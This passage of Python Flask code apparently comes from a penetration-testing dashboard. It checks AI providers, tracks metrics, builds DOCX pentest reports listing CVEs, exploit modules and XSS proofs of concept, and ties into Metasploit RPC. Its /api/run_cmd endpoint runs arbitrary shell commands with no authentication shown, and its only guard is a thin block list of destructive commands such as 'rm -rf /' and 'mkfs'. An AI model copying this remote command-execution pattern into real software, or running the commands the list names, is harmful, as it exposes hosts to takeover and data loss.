    ollama_tags   = []

    for h in candidates:
        entry = {"host": h, "result": "", "tags": []}
        try:
            _r = requests.get(f"{h}/api/tags", timeout=2)
            if _r.status_code == 200:
                tags = [t.get("name", "") for t in (_r.json().get("models") or [])]
                entry["tags"] = tags
                entry["result"] = "reachable"
                # Match the requested model — exact or prefix (qwen2.5:7b matches "qwen2.5:7b")
                if any(ollama_model == t or t.startswith(ollama_model.split(":")[0] + ":")
                        for t in tags):
                    ollama_status = "set"
                    ollama_host   = h
                    ollama_tags   = tags
                    diag.append(entry)
                    break
                # Server reachable but the configured model isn't pulled
                if tags:
                    ollama_status = "running_no_model"
                    ollama_host   = h
                    ollama_tags   = tags
                    diag.append(entry)
                    break
                else:
                    entry["result"] = "reachable, no models pulled"
                    if ollama_status == "missing":
                        ollama_status = "running_no_model"
                        ollama_host   = h
            else:
                entry["result"] = f"HTTP {_r.status_code}"
        except requests.exceptions.ConnectionError:
            entry["result"] = "connection refused"
        except Exception as e:
            entry["result"] = f"error: {e}"
        diag.append(entry)

    results["ollama_diagnostic"] = diag
    results["ollama_tags"]       = ollama_tags
    results["ollama_in_docker"]  = bool(in_docker)

    or_key  = os.environ.get("OPENROUTER_API_KEY", "").strip()
    cb_key  = os.environ.get("CEREBRAS_API_KEY", "").strip()
    results["keys"] = {
        "ollama":     ollama_status,
        "gemini":     "set" if gem_key else "missing",
        "openrouter": "set" if or_key and or_key not in ("notset","YOUR_OPENROUTER_API_KEY_HERE") else "missing",
        "cerebras":   "set" if cb_key and cb_key not in ("notset","YOUR_CEREBRAS_API_KEY_HERE") else "missing",
    }
    results["ollama_host"]  = ollama_host
    results["ollama_model"] = ollama_model

    # Check dead status
    results["alive"] = {
        "ollama":    _provider_alive("ollama"),
        "gemini":    _provider_alive("gemini"),
        "openrouter": _provider_alive("openrouter"),
        "cerebras":  _provider_alive("cerebras"),
    }

    # Quick connectivity test — Gemini (primary cloud fallback)
    results["test"] = {"provider": "none", "ok": False, "error": ""}
    if gem_key and _provider_alive("gemini"):
        try:
            r = requests.post(
                f"{GEMINI_API_BASE}{GEMINI_MODELS[0]}:generateContent?key={gem_key}",
                json={"contents": [{"parts": [{"text": test_prompt}]}],
                      "generationConfig": {"maxOutputTokens": 32}},
                timeout=10,
            )
            results["test"]["provider"] = "gemini"
            results["test"]["status_code"] = r.status_code
            results["test"]["ok"] = r.status_code == 200
            if r.status_code != 200:
                results["test"]["error"] = r.text[:200]
        except Exception as e:
            results["test"]["provider"] = "gemini"
            results["test"]["error"] = str(e)[:200]

    # Reset dead providers if user visits this endpoint (manual reset)
    if request.args.get("reset"):
        _DEAD_UNTIL["gemini"] = 0
        _DEAD_UNTIL["ollama"] = 0
        _DEAD_UNTIL["anthropic"] = 0
        _DEAD_UNTIL["openrouter"] = 0
        _DEAD_UNTIL["cerebras"] = 0
        results["reset"] = True

    any_working = results["test"]["ok"]
    results["overall"] = "ok" if any_working else "no_ai"
    return jsonify(results)


@app.route("/api/ai_metrics")
def api_ai_metrics():
    """
    Live monitoring snapshot of AI provider activity. Read by the UI's "AI
    activity" widget so you can confirm that Ollama (or any other provider)
    is actually serving requests. Returns:
      {
        "metrics": {
          "ollama":    {calls, ok, fail, success_rate, avg_ms, last_ms, last_error, last_ts},
          "github":    {...},
          "gemini":    {...},
          "groq":      {...}
        },
        "ollama_host":  "http://127.0.0.1:11434",
        "ollama_model": "qwen2.5-coder:7b",
        "cache_hits":   <int>,   # how many calls were served from the LRU cache
        "cache_size":   <int>,
      }
    """
    snap = {}
    with _AI_METRICS_LOCK:
        for k, v in _AI_METRICS.items():
            calls = v["calls"]
            snap[k] = {
                "calls":        calls,
                "ok":           v["ok"],
                "fail":         v["fail"],
                "success_rate": round(100.0 * v["ok"] / calls, 1) if calls else 0,
                "avg_ms":       round(v["total_ms"] / calls, 0) if calls else 0,
                "last_ms":      v.get("last_ms", 0),
                "last_error":   v.get("last_error", ""),
                "last_ts":      v.get("last_ts", 0),
                "alive":        _provider_alive(k),
            }
    with _AI_CACHE_LOCK:
        cache_size = len(_AI_CACHE)
    # Snapshot the rolling call log (newest first) for the UI transparency panel
    with _AI_METRICS_LOCK:
        recent_calls = list(reversed(list(_AI_CALL_LOG)))
    return jsonify({
        "metrics":        snap,
        "ollama_host":    os.environ.get("OLLAMA_HOST", "http://127.0.0.1:11434"),
        "ollama_model":   os.environ.get("OLLAMA_MODEL", "qwen2.5-coder:7b"),
        "cache_size":     cache_size,
        "providers_order": ["ollama", "gemini", "openrouter", "cerebras"],
        "recent_calls":   recent_calls,   # last 50 calls with prompt snippets
    })


@app.route("/api/ai_test", methods=["POST"])
def api_ai_test():
    """
    Fire a single tiny prompt at the live provider chain and report which
    provider answered, how long it took, and the raw response. Lets the user
    confirm from the UI that Ollama is actually being hit end-to-end.
    """
    # Snapshot the metrics so we can identify which provider's counter ticked
    with _AI_METRICS_LOCK:
        before = {k: dict(v) for k, v in _AI_METRICS.items()}

    t0 = time.time()
    raw = call_ai_fast(
        'Reply with this exact JSON and nothing else: '
        '{"ok":true,"provider":"unknown"}',
        timeout=30.0, use_cache=False,
    )
    elapsed = int((time.time() - t0) * 1000)

    # Diff metrics to find which provider incremented its `ok` count
    answering_provider = ""
    with _AI_METRICS_LOCK:
        for k, v in _AI_METRICS.items():
            ok_before = before.get(k, {}).get("ok", 0)
            if v.get("ok", 0) > ok_before:
                answering_provider = k
                break

    return jsonify({
        "ok":           bool(raw),
        "provider":     answering_provider or "none",
        "elapsed_ms":   elapsed,
        "raw":          raw,
        "ollama_host":  os.environ.get("OLLAMA_HOST", "http://127.0.0.1:11434"),
        "ollama_model": os.environ.get("OLLAMA_MODEL", "qwen2.5-coder:7b"),
    })


@app.route("/api/capabilities")
def get_capabilities():
    return jsonify({
        "auth_scanner":      HAS_AUTH,
        "mcp_agent":         HAS_MCP_AGENT,
        "remediation":       HAS_REMEDIATOR,
        "ai_helpers":        HAS_AI_HELPERS,
        "msfrpc":            HAS_MSFRPC,
        "msf_ready":         msf_ready.is_set(),
        "version":           "2.1",
    })


@app.route("/api/run_cmd", methods=["POST"])
def api_run_cmd():
    """Generic shell command execution inside Docker (used by MCP server on Windows)."""
    data = request.json or {}
    cmd  = data.get("command", "").strip()
    timeout = int(data.get("timeout", 120))
    if not cmd:
        return jsonify({"error": "command required"}), 400
    blocked = ["rm -rf /", "mkfs", "shutdown", "reboot", "> /dev/sda"]
    for b in blocked:
        if b in cmd:
            return jsonify({"error": f"Blocked command: {b}"}), 403
    timeout = min(timeout, 600)
    result = run_cmd(cmd, timeout=timeout)
    return jsonify({"command": cmd, "output": result})


@app.route("/api/report/docx")
def get_docx_report():
    """Generate and serve a Word (.docx) pentest report."""
    r = scan_state.get("results", {})
    if not r:
        return jsonify({"error": "No scan results yet"}), 404
    try:
        from docx import Document
        from docx.shared import Pt, RGBColor, Inches
        from docx.enum.text import WD_ALIGN_PARAGRAPH
        import io as _io

        doc = Document()

        title = doc.add_heading("PentestChain Penetration Test Report", 0)
        title.alignment = WD_ALIGN_PARAGRAPH.CENTER

        meta = doc.add_paragraph()
        meta.add_run(f"Target: ").bold = True
        meta.add_run(str(r.get("target","—")))
        meta.add_run(f"  |  Resolved: ").bold = True
        meta.add_run(str(r.get("resolved","—")))
        meta.add_run(f"  |  Date: ").bold = True
        meta.add_run(str(r.get("ts","—")))
        meta.add_run(f"  |  OS: ").bold = True
        meta.add_run(str(r.get("os_name","Unknown")))

        doc.add_paragraph()

        doc.add_heading("Executive Summary", level=1)
        tbl = doc.add_table(rows=2, cols=5)
        tbl.style = "Table Grid"
        hdrs = ["Open Ports","Critical CVEs","High CVEs","Medium CVEs","Exploits"]
        vals = [
            str(len(r.get("services",[]))),
            str(r.get("n_crit",0)),
            str(r.get("n_high",0)),
            str(r.get("n_med",0)),
            str(len(r.get("exploits",[])))
        ]
        for i,(h,v) in enumerate(zip(hdrs,vals)):
            tbl.cell(0,i).text = h
            tbl.cell(1,i).text = v
            tbl.cell(0,i).paragraphs[0].runs[0].bold = True
        doc.add_paragraph(f"Risk Score: {r.get('risk_score',0)}/10")
        doc.add_paragraph()

        es = r.get("exec_summary") or {}
        if es:
            doc.add_heading("AI Executive Summary", level=1)
            for k in ("executive_summary","key_findings","attack_paths","conclusion"):
                v = es.get(k)
                if v:
                    p = doc.add_paragraph()
                    p.add_run(k.replace("_"," ").title() + ": ").bold = True
                    if isinstance(v, list):
                        doc.add_paragraph()
                        for item in v:
                            doc.add_paragraph(str(item), style="List Bullet")
                    else:
                        p.add_run(str(v))

        doc.add_heading(f"Open Services ({len(r.get('services',[]))})", level=1)
        svcs = r.get("services",[])
        if svcs:
            t = doc.add_table(rows=1, cols=5)
            t.style = "Table Grid"
            for i,h in enumerate(["IP","Port","Service","Banner","CVEs"]):
                t.rows[0].cells[i].text = h
                t.rows[0].cells[i].paragraphs[0].runs[0].bold = True
            for s in svcs:
                row = t.add_row()
                row.cells[0].text = str(s.get("ip",""))
                row.cells[1].text = str(s.get("port",""))
                row.cells[2].text = str(s.get("service",""))
                row.cells[3].text = str((s.get("version","") or s.get("banner",""))[:60])
                row.cells[4].text = ""


        flat_cves = r.get("cves", [])
        doc.add_heading("CVE Intelligence (" + str(len(flat_cves)) + " findings)", level=1)
        if flat_cves:
            t = doc.add_table(rows=1, cols=5)
            t.style = "Table Grid"
            for i, h in enumerate(["CVE ID", "CVSS", "Severity", "Service", "Description"]):
                t.rows[0].cells[i].text = h
                t.rows[0].cells[i].paragraphs[0].runs[0].bold = True
            for c in flat_cves[:50]:
                row = t.add_row()
                row.cells[0].text = str(c.get("id", ""))
                row.cells[1].text = str(c.get("score", "?"))
                row.cells[2].text = str(c.get("severity", ""))
                row.cells[3].text = str(c.get("service_key", ""))
                row.cells[4].text = str(c.get("description", ""))[:120]

        exploits = r.get("exploits", [])
        doc.add_heading("Exploit Scripts (" + str(len(exploits)) + ")", level=1)
        if exploits:
            t = doc.add_table(rows=1, cols=3)
            t.style = "Table Grid"
            for i, h in enumerate(["Target", "Module", "Payload"]):
                t.rows[0].cells[i].text = h
                t.rows[0].cells[i].paragraphs[0].runs[0].bold = True
            for e in exploits:
                row = t.add_row()
                row.cells[0].text = str(e.get('ip', '')) + ":" + str(e.get('port', ''))
                row.cells[1].text = str(e.get("module", ""))
                row.cells[2].text = str(e.get("payload", ""))

        rem = r.get("remediation_scripts") or {}
        os_n = str(r.get("os_name", "")).lower()
        is_linux = any(k in os_n for k in ("linux", "ubuntu", "debian", "kali", "centos", "unix", "bsd"))
        rem_title = "Remediation - Linux" if is_linux else "Remediation - Windows"
        doc.add_heading(rem_title + " (" + str(len(rem)) + " services)", level=1)
        if rem:
            t = doc.add_table(rows=1, cols=4)
            t.style = "Table Grid"
            fix_col = "Linux Fix Command" if is_linux else "Windows Fix Command"
            for i, h in enumerate(["Service", "Host:Port", "Risk", fix_col]):
                t.rows[0].cells[i].text = h
                t.rows[0].cells[i].paragraphs[0].runs[0].bold = True
            for key, rv in rem.items():
                row = t.add_row()
                row.cells[0].text = str(rv.get("name", ""))
                row.cells[1].text = str(key)
                row.cells[2].text = str(rv.get("risk", ""))
                cmd = rv.get("cmd_linux", "") if is_linux else rv.get("cmd_windows", "")
                row.cells[3].text = str(cmd or "-")[:200]

        xss_pocs = r.get("xss_pocs", [])
        if xss_pocs:
            doc.add_heading("XSS Proof-of-Concept (" + str(len(xss_pocs)) + ")", level=1)
            for poc in xss_pocs:
                doc.add_paragraph(str(poc), style="List Bullet")

        buf = __import__('io').BytesIO()
        doc.save(buf)
        buf.seek(0)
        fname = "PentestReport_" + r.get('target', 'report').replace('/', '_') + ".docx"
        return send_file(
            buf,
            mimetype="application/vnd.openxmlformats-officedocument.wordprocessingml.document",
            as_attachment=True,
            download_name=fname
        )
    except ImportError:
        return jsonify({"error": "python-docx not installed"}), 500
    except Exception as ex:
        return jsonify({"error": str(ex)}), 500


@app.route("/api/msf_ready")
def get_msf_ready():
    return jsonify({
        "ready":   msf_ready.is_set(),
        "warming": msf_warming,
    })


if __name__ == "__main__":
    threading.Thread(target=prewarm_msf, daemon=True).start()
    socketio.run(app, host="0.0.0.0", port=4444, debug=False, allow_unsafe_werkzeug=True)
